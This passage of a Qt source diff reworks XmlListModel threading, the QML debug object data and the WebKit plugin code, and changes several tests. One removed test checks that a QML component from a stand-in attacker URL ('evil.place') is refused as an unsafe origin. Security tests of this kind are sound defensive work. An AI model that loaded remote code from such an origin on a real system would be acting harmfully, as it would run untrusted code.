--- a/src/declarative/qml/qdeclarativecontext_p.h
+++ b/src/declarative/qml/qdeclarativecontext_p.h
@@ -190,6 +190,8 @@ public:
// Linked contexts. this owns linkedContext.
QDeclarativeContextData *linkedContext;
+ QString findObjectId(const QObject *obj) const;
+
static QDeclarativeContextData *get(QDeclarativeContext *context) {
return QDeclarativeContextPrivate::get(context)->data;
}
diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp
index a377b35..d30aa8e 100644
--- a/src/declarative/qml/qdeclarativeenginedebug.cpp
+++ b/src/declarative/qml/qdeclarativeenginedebug.cpp
@@ -68,16 +68,16 @@ QDeclarativeEngineDebugServer::QDeclarativeEngineDebugServer(QObject *parent)
QDataStream &operator<<(QDataStream &ds,
const QDeclarativeEngineDebugServer::QDeclarativeObjectData &data)
{
- ds << data.url << data.lineNumber << data.columnNumber << data.objectName
- << data.objectType << data.objectId << data.contextId;
+ ds << data.url << data.lineNumber << data.columnNumber << data.idString
+ << data.objectName << data.objectType << data.objectId << data.contextId;
return ds;
}
QDataStream &operator>>(QDataStream &ds,
QDeclarativeEngineDebugServer::QDeclarativeObjectData &data)
{
- ds >> data.url >> data.lineNumber >> data.columnNumber >> data.objectName
- >> data.objectType >> data.objectId >> data.contextId;
+ ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString
+ >> data.objectName >> data.objectType >> data.objectId >> data.contextId;
return ds;
}
@@ -275,6 +275,13 @@ QDeclarativeEngineDebugServer::objectData(QObject *object)
rv.columnNumber = -1;
}
+ QDeclarativeContext *context = qmlContext(object);
+ if (context) {
+ QDeclarativeContextData *cdata = QDeclarativeContextData::get(context);
+ if (cdata)
+ rv.idString = cdata->findObjectId(object);
+ }
+
rv.objectName = object->objectName();
rv.objectId = QDeclarativeDebugService::idForObject(object);
rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object));
diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h
index a95449b..9491411 100644
--- a/src/declarative/qml/qdeclarativeenginedebug_p.h
+++ b/src/declarative/qml/qdeclarativeenginedebug_p.h
@@ -75,6 +75,7 @@ public:
QUrl url;
int lineNumber;
int columnNumber;
+ QString idString;
QString objectName;
QString objectType;
int objectId;
diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp
index 8fa210f..be36471 100644
--- a/src/declarative/qml/qdeclarativeintegercache.cpp
+++ b/src/declarative/qml/qdeclarativeintegercache.cpp
@@ -64,6 +64,16 @@ void QDeclarativeIntegerCache::clear()
engine = 0;
}
+QString QDeclarativeIntegerCache::findId(int value) const
+{
+ for (StringCache::ConstIterator iter = stringCache.begin();
+ iter != stringCache.end(); ++iter) {
+ if (iter.value() && iter.value()->value == value)
+ return iter.key();
+ }
+ return QString();
+}
+
void QDeclarativeIntegerCache::add(const QString &id, int value)
{
Q_ASSERT(!stringCache.contains(id));
diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h
index b57565e..5fb5a76 100644
--- a/src/declarative/qml/qdeclarativeintegercache_p.h
+++ b/src/declarative/qml/qdeclarativeintegercache_p.h
@@ -73,6 +73,7 @@ public:
inline int count() const;
void add(const QString &, int);
int value(const QString &);
+ QString findId(int value) const;
inline int value(const QScriptDeclarativeClass::Identifier &id) const;
protected:
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 1fb3d99..bead842 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -1318,8 +1318,8 @@ void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListPropert
{
QDeclarativeAnimationGroup *q = qobject_cast<QDeclarativeAnimationGroup *>(list->object);
if (q) {
- q->d_func()->animations.append(a);
a->setGroup(q);
+ QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag);
q->d_func()->ag->addAnimation(a->qtAnimation());
}
}
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 01ae2ed..03ddddf 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -46,6 +46,7 @@
#include <QDebug>
#include <QStringList>
+#include <QQueue>
#include <QApplication>
#include <QThread>
#include <QMutex>
@@ -61,8 +62,7 @@
QT_BEGIN_NAMESPACE
-
-
+Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult)
typedef QPair<int, int> QDeclarativeXmlListRange;
@@ -109,13 +109,25 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
\sa XmlListModel
*/
+struct XmlQueryJob
+{
+ int queryId;
+ QByteArray data;
+ QString query;
+ QString namespaces;
+ QStringList roleQueries;
+ QStringList keyRoleQueries;
+ QStringList keyRoleResultsCache;
+};
+
class QDeclarativeXmlQuery : public QThread
{
Q_OBJECT
public:
QDeclarativeXmlQuery(QObject *parent=0)
- : QThread(parent), m_quit(false), m_restart(false), m_abort(false), m_queryId(0) {
+ : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) {
+ qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
}
~QDeclarativeXmlQuery() {
m_mutex.lock();
@@ -126,27 +138,38 @@ public:
wait();
}
- void abort() {
+ void abort(int id) {
QMutexLocker locker(&m_mutex);
- m_abort = true;
+ m_abortQueryId = id;
}
- int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects) {
+ int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects, QStringList keyRoleResultsCache) {
QMutexLocker locker(&m_mutex);
- m_size = 0;
- m_data = data;
- m_query = QLatin1String("doc($src)") + query;
- m_namespaces = namespaces;
- m_roleObjects = roleObjects;
- if (!isRunning()) {
- m_abort = false;
+
+ XmlQueryJob job;
+ job.queryId = m_queryIds;
+ job.data = data;
+ job.query = QLatin1String("doc($src)") + query;
+ job.namespaces = namespaces;
+ job.keyRoleResultsCache = keyRoleResultsCache;
+
+ for (int i=0; i<roleObjects->count(); i++) {
+ if (!roleObjects->at(i)->isValid()) {
+ job.roleQueries << "";
+ continue;
+ }
+ job.roleQueries << roleObjects->at(i)->query();
+ if (roleObjects->at(i)->isKey())
+ job.keyRoleQueries << job.roleQueries.last();
+ }
+ m_jobs.enqueue(job);
+ m_queryIds++;
+
+ if (!isRunning())
start();
- } else {
- m_restart = true;
+ else
m_condition.wakeOne();
- }
- m_queryId++;
- return m_queryId;
+ return job.queryId;
}
QList<QList<QVariant> > modelData() {
@@ -164,26 +187,33 @@ public:
return m_removedItemRanges;
}
+
Q_SIGNALS:
- void queryCompleted(int queryId, int size);
+ void queryCompleted(const QDeclarativeXmlQueryResult &);
protected:
void run() {
while (!m_quit) {
m_mutex.lock();
- int queryId = m_queryId;
doQueryJob();
doSubQueryJob();
- m_data.clear(); // no longer needed
m_mutex.unlock();
m_mutex.lock();
- if (!m_abort)
- emit queryCompleted(queryId, m_size);
- if (!m_restart)
+ const XmlQueryJob &job = m_jobs.dequeue();
+ if (m_abortQueryId != job.queryId) {
+ QDeclarativeXmlQueryResult r;
+ r.queryId = job.queryId;
+ r.size = m_size;
+ r.data = m_modelData;
+ r.inserted = m_insertedItemRanges;
+ r.removed = m_removedItemRanges;
+ r.keyRoleResultsCache = job.keyRoleResultsCache;
+ emit queryCompleted(r);
+ }
+ if (m_jobs.isEmpty())
m_condition.wait(&m_mutex);
- m_abort = false;
- m_restart = false;
+ m_abortQueryId = -1;
m_mutex.unlock();
}
}
@@ -197,30 +227,30 @@ private:
private:
QMutex m_mutex;
QWaitCondition m_condition;
+ QQueue<XmlQueryJob> m_jobs;
bool m_quit;
- bool m_restart;
- bool m_abort;
- QByteArray m_data;
- QString m_query;
- QString m_namespaces;
+ int m_abortQueryId;
QString m_prefix;
int m_size;
- int m_queryId;
- const QList<QDeclarativeXmlListModelRole *> *m_roleObjects;
+ int m_queryIds;
QList<QList<QVariant> > m_modelData;
- QStringList m_keysValues;
QList<QDeclarativeXmlListRange> m_insertedItemRanges;
QList<QDeclarativeXmlListRange> m_removedItemRanges;
};
+Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery)
+
void QDeclarativeXmlQuery::doQueryJob()
{
+ Q_ASSERT(!m_jobs.isEmpty());
+ XmlQueryJob &job = m_jobs.head();
+
QString r;
QXmlQuery query;
- QBuffer buffer(&m_data);
+ QBuffer buffer(&job.data);
buffer.open(QIODevice::ReadOnly);
query.bindVariable(QLatin1String("src"), &buffer);
- query.setQuery(m_namespaces + m_query);
+ query.setQuery(job.namespaces + job.query);
query.evaluateTo(&r);
//qDebug() << r;
@@ -231,9 +261,9 @@ void QDeclarativeXmlQuery::doQueryJob()
b.open(QIODevice::ReadOnly);
//qDebug() << xml;
- QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_namespaces;
+ QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces;
QString prefix = QLatin1String("doc($inputDocument)/dummy:items") +
- m_query.mid(m_query.lastIndexOf(QLatin1Char('/')));
+ job.query.mid(job.query.lastIndexOf(QLatin1Char('/')));
//figure out how many items we are dealing with
int count = -1;
@@ -249,19 +279,18 @@ void QDeclarativeXmlQuery::doQueryJob()
}
//qDebug() << count;
+ job.data = xml;
m_prefix = namespaces + prefix + QLatin1Char('/');
- m_data = xml;
+ m_size = 0;
if (count > 0)
m_size = count;
}
void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const
{
- QStringList keysQueries;
- for (int i=0; i<m_roleObjects->count(); i++) {
- if (m_roleObjects->at(i)->isKey())
- keysQueries << m_roleObjects->at(i)->query();
- }
+ Q_ASSERT(!m_jobs.isEmpty());
+
+ const QStringList &keysQueries = m_jobs.head().keyRoleQueries;
QString keysQuery;
if (keysQueries.count() == 1)
keysQuery = m_prefix + keysQueries[0];
@@ -291,54 +320,58 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> *
void QDeclarativeXmlQuery::doSubQueryJob()
{
+ Q_ASSERT(!m_jobs.isEmpty());
+ XmlQueryJob &job = m_jobs.head();
m_modelData.clear();
- QBuffer b(&m_data);
+ QBuffer b(&job.data);
b.open(QIODevice::ReadOnly);
QXmlQuery subquery;
subquery.bindVariable(QLatin1String("inputDocument"), &b);
- QStringList keysValues;
- getValuesOfKeyRoles(&keysValues, &subquery);
+ QStringList keyRoleResults;
+ getValuesOfKeyRoles(&keyRoleResults, &subquery);
// See if any values of key roles have been inserted or removed.
+
m_insertedItemRanges.clear();
m_removedItemRanges.clear();
- if (m_keysValues.isEmpty()) {
+ if (job.keyRoleResultsCache.isEmpty()) {
m_insertedItemRanges << qMakePair(0, m_size);
} else {
- if (keysValues != m_keysValues) {
+ if (keyRoleResults != job.keyRoleResultsCache) {
QStringList temp;
- for (int i=0; i<m_keysValues.count(); i++) {
- if (!keysValues.contains(m_keysValues[i]))
+ for (int i=0; i<job.keyRoleResultsCache.count(); i++) {
+ if (!keyRoleResults.contains(job.keyRoleResultsCache[i]))
addIndexToRangeList(&m_removedItemRanges, i);
else
- temp << m_keysValues[i];
+ temp << job.keyRoleResultsCache[i];
}
- for (int i=0; i<keysValues.count(); i++) {
- if (temp.count() == i || keysValues[i] != temp[i]) {
- temp.insert(i, keysValues[i]);
+ for (int i=0; i<keyRoleResults.count(); i++) {
+ if (temp.count() == i || keyRoleResults[i] != temp[i]) {
+ temp.insert(i, keyRoleResults[i]);
addIndexToRangeList(&m_insertedItemRanges, i);
}
}
}
}
- m_keysValues = keysValues;
+ job.keyRoleResultsCache = keyRoleResults;
+
// Get the new values for each role.
//### we might be able to condense even further (query for everything in one go)
- for (int i = 0; i < m_roleObjects->size(); ++i) {
- QDeclarativeXmlListModelRole *role = m_roleObjects->at(i);
- if (!role->isValid()) {
+ const QStringList &queries = job.roleQueries;
+ for (int i = 0; i < queries.size(); ++i) {
+ if (queries[i].isEmpty()) {
QList<QVariant> resultList;
for (int j = 0; j < m_size; ++j)
resultList << QVariant();
m_modelData << resultList;
continue;
}
- subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + role->query() + QLatin1String(" return if ($v) then ") + role->query() + QLatin1String(" else \"\")"));
+ subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
QXmlResultItems resultItems;
subquery.evaluateTo(&resultItems);
QXmlItem item(resultItems.next());
@@ -404,8 +437,8 @@ public:
QNetworkReply *reply;
QDeclarativeXmlListModel::Status status;
qreal progress;
- QDeclarativeXmlQuery qmlXmlQuery;
int queryId;
+ QStringList keyRoleResultsCache;
QList<QDeclarativeXmlListModelRole *> roleObjects;
static void append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role);
static void clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list);
@@ -489,9 +522,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDecla
QDeclarativeXmlListModel::QDeclarativeXmlListModel(QObject *parent)
: QListModelInterface(*(new QDeclarativeXmlListModelPrivate), parent)
{
- Q_D(QDeclarativeXmlListModel);
- connect(&d->qmlXmlQuery, SIGNAL(queryCompleted(int,int)),
- this, SLOT(queryCompleted(int,int)));
+ connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)),
+ this, SLOT(queryCompleted(QDeclarativeXmlQueryResult)));
}
QDeclarativeXmlListModel::~QDeclarativeXmlListModel()
@@ -723,7 +755,7 @@ void QDeclarativeXmlListModel::reload()
if (!d->isComponentComplete)
return;
- d->qmlXmlQuery.abort();
+ globalXmlQuery()->abort(d->queryId);
d->queryId = -1;
int count = d->size;
@@ -755,7 +787,7 @@ void QDeclarativeXmlListModel::reload()
}
if (!d->xml.isEmpty()) {
- d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects);
+ d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache);
d->progress = 1.0;
d->status = Ready;
emit progressChanged(d->progress);
@@ -802,7 +834,7 @@ void QDeclarativeXmlListModel::requestFinished()
} else {
d->status = Ready;
QByteArray data = d->reply->readAll();
- d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, data, &d->roleObjects);
+ d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache);
disconnect(d->reply, 0, this, 0);
d->reply->deleteLater();
d->reply = 0;
@@ -821,22 +853,20 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total)
}
}
-void QDeclarativeXmlListModel::queryCompleted(int id, int size)
+void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result)
{
Q_D(QDeclarativeXmlListModel);
- if (id != d->queryId)
+ if (result.queryId != d->queryId)
return;
- bool sizeChanged = size != d->size;
- d->size = size;
- d->data = d->qmlXmlQuery.modelData();
-
- QList<QDeclarativeXmlListRange> removed = d->qmlXmlQuery.removedItemRanges();
- QList<QDeclarativeXmlListRange> inserted = d->qmlXmlQuery.insertedItemRanges();
-
- for (int i=0; i<removed.count(); i++)
- emit itemsRemoved(removed[i].first, removed[i].second);
- for (int i=0; i<inserted.count(); i++)
- emit itemsInserted(inserted[i].first, inserted[i].second);
+ bool sizeChanged = result.size != d->size;
+ d->size = result.size;
+ d->data = result.data;
+ d->keyRoleResultsCache = result.keyRoleResultsCache;
+
+ for (int i=0; i<result.removed.count(); i++)
+ emit itemsRemoved(result.removed[i].first, result.removed[i].second);
+ for (int i=0; i<result.inserted.count(); i++)
+ emit itemsInserted(result.inserted[i].first, result.inserted[i].second);
if (sizeChanged)
emit countChanged();
diff --git a/src/declarative/util/qdeclarativexmllistmodel_p.h b/src/declarative/util/qdeclarativexmllistmodel_p.h
index 23ff7ce..7bb0f0e 100644
--- a/src/declarative/util/qdeclarativexmllistmodel_p.h
+++ b/src/declarative/util/qdeclarativexmllistmodel_p.h
@@ -46,6 +46,7 @@
#include <qdeclarativeinfo.h>
#include <QtCore/qurl.h>
+#include <QtCore/qstringlist.h>
#include <private/qlistmodelinterface_p.h>
@@ -56,10 +57,18 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QDeclarativeContext;
-
class QDeclarativeXmlListModelRole;
-
class QDeclarativeXmlListModelPrivate;
+
+struct QDeclarativeXmlQueryResult {
+ int queryId;
+ int size;
+ QList<QList<QVariant> > data;
+ QList<QPair<int, int> > inserted;
+ QList<QPair<int, int> > removed;
+ QStringList keyRoleResultsCache;
+};
+
class Q_DECLARATIVE_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus
{
Q_OBJECT
@@ -126,7 +135,7 @@ public Q_SLOTS:
private Q_SLOTS:
void requestFinished();
void requestProgress(qint64,qint64);
- void queryCompleted(int,int);
+ void queryCompleted(const QDeclarativeXmlQueryResult &);
private:
Q_DECLARE_PRIVATE(QDeclarativeXmlListModel)
diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp
index f8b2b88..0b85ae4 100644
--- a/src/imports/webkit/qdeclarativewebview.cpp
+++ b/src/imports/webkit/qdeclarativewebview.cpp
@@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS
}
-/*
- Qt WebKit does not understand non-QWidget plugins, so dummy widgets
- are created, parented to a single dummy tool window.
-
- The requirements for QML object plugins are input to the Qt WebKit
- non-QWidget plugin support, which will obsolete this kludge.
-*/
-class QWidget_Dummy_Plugin : public QWidget
-{
- Q_OBJECT
-public:
- static QWidget *dummy_shared_parent()
- {
- static QWidget *dsp = 0;
- if (!dsp) {
- dsp = new QWidget(0,Qt::Tool);
- dsp->setGeometry(-10000,-10000,0,0);
- dsp->show();
- }
- return dsp;
- }
- QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList &paramNames, const QStringList &paramValues) :
- QWidget(dummy_shared_parent()),
- propertyNames(paramNames),
- propertyValues(paramValues),
- webview(view)
- {
- QDeclarativeEngine *engine = qmlEngine(webview);
- component = new QDeclarativeComponent(engine, url, this);
- item = 0;
- if (component->isLoading())
- connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded()));
- else
- qmlLoaded();
- }
-
-public Q_SLOTS:
- void qmlLoaded()
- {
- if (component->isError()) {
- // ### Could instead give these errors to the WebView to handle.
- qWarning() << component->errors();
- return;
- }
- item = qobject_cast<QDeclarativeItem*>(component->create(qmlContext(webview)));
- item->setParent(webview);
- QString jsObjName;
- for (int i=0; i<propertyNames.count(); ++i) {
- if (propertyNames[i] != QLatin1String("type") && propertyNames[i] != QLatin1String("data")) {
- item->setProperty(propertyNames[i].toUtf8(),propertyValues[i]);
- if (propertyNames[i] == QLatin1String("objectname"))
- jsObjName = propertyValues[i];
- }
- }
- if (!jsObjName.isNull()) {
- QWebFrame *f = webview->page()->mainFrame();
- f->addToJavaScriptWindowObject(jsObjName, item);
- }
- resizeEvent(0);
- delete component;
- component = 0;
- }
- void resizeEvent(QResizeEvent*)
- {
- if (item) {
- item->setX(x());
- item->setY(y());
- item->setWidth(width());
- item->setHeight(height());
- }
- }
-
-private:
- QDeclarativeComponent *component;
- QDeclarativeItem *item;
- QStringList propertyNames, propertyValues;
- QDeclarativeWebView *webview;
-};
-
QDeclarativeWebView *QDeclarativeWebPage::viewItem()
{
return static_cast<QDeclarativeWebView*>(parent());
}
-QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList &paramNames, const QStringList &paramValues)
-{
- QUrl comp = qmlContext(viewItem())->resolvedUrl(url);
- return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues);
-}
-
QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type)
{
QDeclarativeWebView *newView = viewItem()->createWindow(type);
@@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type)
}
QT_END_NAMESPACE
-
-#include <qdeclarativewebview.moc>
diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h
index 36b18a6..81581d8 100644
--- a/src/imports/webkit/qdeclarativewebview_p.h
+++ b/src/imports/webkit/qdeclarativewebview_p.h
@@ -69,7 +69,6 @@ public:
explicit QDeclarativeWebPage(QDeclarativeWebView *parent);
~QDeclarativeWebPage();
protected:
- QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList &paramNames, const QStringList &paramValues);
QWebPage *createWindow(WebWindowType type);
void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID);
QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile);
diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp
index 04c6710..4beee9a 100644
--- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp
+++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp
@@ -58,7 +58,10 @@ private slots:
void create();
void checkFrontAndBack();
void setFrontAndBack();
- void crash();
+
+ // below here task issues
+ void QTBUG_9161_crash();
+ void QTBUG_8474_qgv_abort();
private:
QDeclarativeEngine engine;
@@ -110,7 +113,7 @@ void tst_qdeclarativeflipable::setFrontAndBack()
delete obj;
}
-void tst_qdeclarativeflipable::crash()
+void tst_qdeclarativeflipable::QTBUG_9161_crash()
{
QDeclarativeView *canvas = new QDeclarativeView;
canvas->setSource(QUrl(SRCDIR "/data/crash.qml"));
@@ -118,6 +121,14 @@ void tst_qdeclarativeflipable::crash()
delete canvas;
}
+void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl(SRCDIR "/data/flipable-abort.qml"));
+ canvas->show();
+ delete canvas;
+}
+
QTEST_MAIN(tst_qdeclarativeflipable)
#include "tst_qdeclarativeflipable.moc"
diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml
new file mode 100644
index 0000000..da4f6cb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml
@@ -0,0 +1,7 @@
+import Qt 4.6
+
+Rectangle {
+ width: 100; height: 100; color: "red"
+ signal somethingHappened
+ onSomethingHappened: QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml
new file mode 100644
index 0000000..f42c1d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml
@@ -0,0 +1,5 @@
+import Qt 4.6
+
+Loader {
+ sourceComponent: QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml
new file mode 100644
index 0000000..782562b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml
@@ -0,0 +1,6 @@
+import Qt 4.6
+
+Loader {
+ source: "VmeError.qml"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
index 0deac3a..c3be943 100644
--- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
+++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
@@ -86,11 +86,11 @@ private slots:
void noResizeGraphicsWidget();
void networkRequestUrl();
void failNetworkRequest();
- void networkSafety();
- void networkSafety_data();
// void networkComponent();
void deleteComponentCrash();
+ void nonItem();
+ void vmeErrors();
private:
QDeclarativeEngine engine;
@@ -466,7 +466,7 @@ void tst_QDeclarativeLoader::failNetworkRequest()
// QTBUG-9241
void tst_QDeclarativeLoader::deleteComponentCrash()
{
- QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml"));
+ QDeclarativeComponent component(&engine, TEST_FILE("crash.qml"));
QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
QVERIFY(item);
@@ -479,43 +479,29 @@ void tst_QDeclarativeLoader::deleteComponentCrash()
QCOMPARE(loader->progress(), 1.0);
QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
- QEXPECT_FAIL("", "QTBUG-9245", Continue);
QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml"));
delete item;
}
-void tst_QDeclarativeLoader::networkSafety_data()
+void tst_QDeclarativeLoader::nonItem()
{
- QTest::addColumn<QUrl>("url");
- QTest::addColumn<QString>("message");
+ QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements.");
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader);
+ QVERIFY(loader->item() == 0);
- QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString();
- QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) ");
+ delete loader;
}
-void tst_QDeclarativeLoader::networkSafety()
+void tst_QDeclarativeLoader::vmeErrors()
{
- TestHTTPServer server(SERVER_PORT);
- QVERIFY(server.isValid());
- server.serveDirectory(SRCDIR "/data");
-
- QFETCH(QUrl, url);
- QFETCH(QString, message);
-
- if (!message.isEmpty())
- QTest::ignoreMessage(QtWarningMsg, message.toLatin1());
-
- QDeclarativeComponent component(&engine, url);
- TRY_WAIT(component.status() == QDeclarativeComponent::Ready);
+ QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) ");
QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
- QVERIFY(loader != 0);
-
- if (message.isEmpty()) {
- TRY_WAIT(loader->status() == QDeclarativeLoader::Ready);
- } else {
- TRY_WAIT(loader->status() == QDeclarativeLoader::Null);
- }
+ QVERIFY(loader);
+ QVERIFY(loader->item() == 0);
delete loader;
}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
index 0e5e1b0..81cc922 100644
--- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
@@ -74,6 +74,8 @@ private slots:
void useKeys_data();
void noKeysValueChanges();
void keysChanged();
+ void threading();
+ void threading_data();
void propertyChanges();
private:
@@ -86,6 +88,8 @@ private:
if (!data.isEmpty()) {
QStringList items = data.split(";");
foreach(const QString &item, items) {
+ if (item.isEmpty())
+ continue;
QVariantList variants;
xml += QLatin1String("<item>");
QStringList fields = item.split(",");
@@ -505,6 +509,63 @@ void tst_qdeclarativexmllistmodel::keysChanged()
delete model;
}
+void tst_qdeclarativexmllistmodel::threading()
+{
+ QFETCH(int, xmlDataCount);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml"));
+
+ QDeclarativeXmlListModel *m1 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m1 != 0);
+ QDeclarativeXmlListModel *m2 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m2 != 0);
+ QDeclarativeXmlListModel *m3 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m3 != 0);
+
+ for (int dataCount=0; dataCount<xmlDataCount; dataCount++) {
+
+ QString data1, data2, data3;
+ for (int i=0; i<dataCount; i++) {
+ data1 += "name=A" + QString::number(i) + ",age=1" + QString::number(i) + ",sport=Football;";
+ data2 += "name=B" + QString::number(i) + ",age=2" + QString::number(i) + ",sport=Athletics;";
+ data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;";
+ }
+
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+
+ QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount);
+
+ for (int i=0; i<dataCount; i++) {
+ QCOMPARE(m1->data(i, m1->roles()[0]).toString(), QString("A" + QString::number(i)));
+ QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i)));
+ QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football"));
+
+ QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i)));
+ QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i)));
